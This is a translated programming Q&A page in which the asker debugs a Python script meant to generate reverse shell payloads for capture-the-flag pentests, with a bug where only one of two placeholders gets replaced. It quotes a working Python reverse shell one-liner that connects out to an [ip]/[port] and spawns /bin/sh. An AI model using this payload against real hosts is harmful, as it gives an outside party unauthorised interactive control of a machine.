python - 删除文件replace()中的多个字符串不起作用
问题描述
目前,我的代码遇到了一些问题。我正在创建一个反向 shell 生成器,该生成器可以通过 Pentests 自动进行 Capture flag 竞赛。
该脚本将读取包含有效负载的文件,然后该脚本将选择要获取的特定行,然后替换反向连接的 IP 地址和端口,并将有效负载输出给用户。但是我被困在一些问题上。问题是我试图在读取包含我的文本的文件时替换两个不同的字符串,其中一个字符串被替换,而另一个没有:
- 要替换的字符串
[IP]
[港口]
我也使用正则表达式查看了以前的文章,但没有进一步的运气。在我的代码中注释掉的正则表达式部分收到错误:“意外令牌”
我的代码:
import socket
import base64
import hashlib
import re
import os # Fetching ip from interface
import linecache # for reading specific lines
ip = str(input("Host ip\n"))
port = str(input("port\n"))
#shell = str(input("Please select an option?\n"))
def full():
print("Welcome, lets generate a choosen reverse shell\n")
global ip
global port
print("please select language and shell option:\n [1] - python(Alphanumeric reverse shell)\n, [2] PHP(Alphanumeric reverse shell)\n")
selection = input("Type in number:\t")
if int(selection) == 1:
with open("myshells.txt", "r") as shells:
#for myreplace in (("[ip]", ip), ("[port]", port)):
fetchshell = linecache.getline('myshells.txt', 1)
ipreplaced = fetchshell.replace("[ip]", ip)
ipreplaced = fetchshell.replace("[port]", port)
print(ipreplaced)
"""for line in fetchshell:
myport = line.write(re.sub(r"(port)", port))
myip = line.write((re.sub(r"(ip)", ip))
print(line)"""
文件内容:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(([ip],[port]));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
上述代码的示例输出:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(([ip],22));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
解决方案
推荐阅读
- git - 无法在 gitlab cicd 中设置子模块
- flutter - 如何指定泛型类型以便我们可以在 Flutter 中对泛型类型进行一些操作?
- javascript - 将JS中的两个数组与第一个数组中索引0处的字符串连接起来
- react-native - SplashScreen.hide() 已弃用,取而代之的是 SplashScreen.hideAsync()
- react-native - 由于先前的图像正在上传到服务器,因此状态不会同时更新
- python - 如何将海洋图保存为 svg 或 png
- javascript - Joi 验证未验证必填字段
- javascript - 请解释此代码如何用于使用 Javascript 的 Matrix Transpose
- vue.js - Datatable onchange中的v-select不能传值
- r - 创建一个矩阵,其奇数行移动 0.5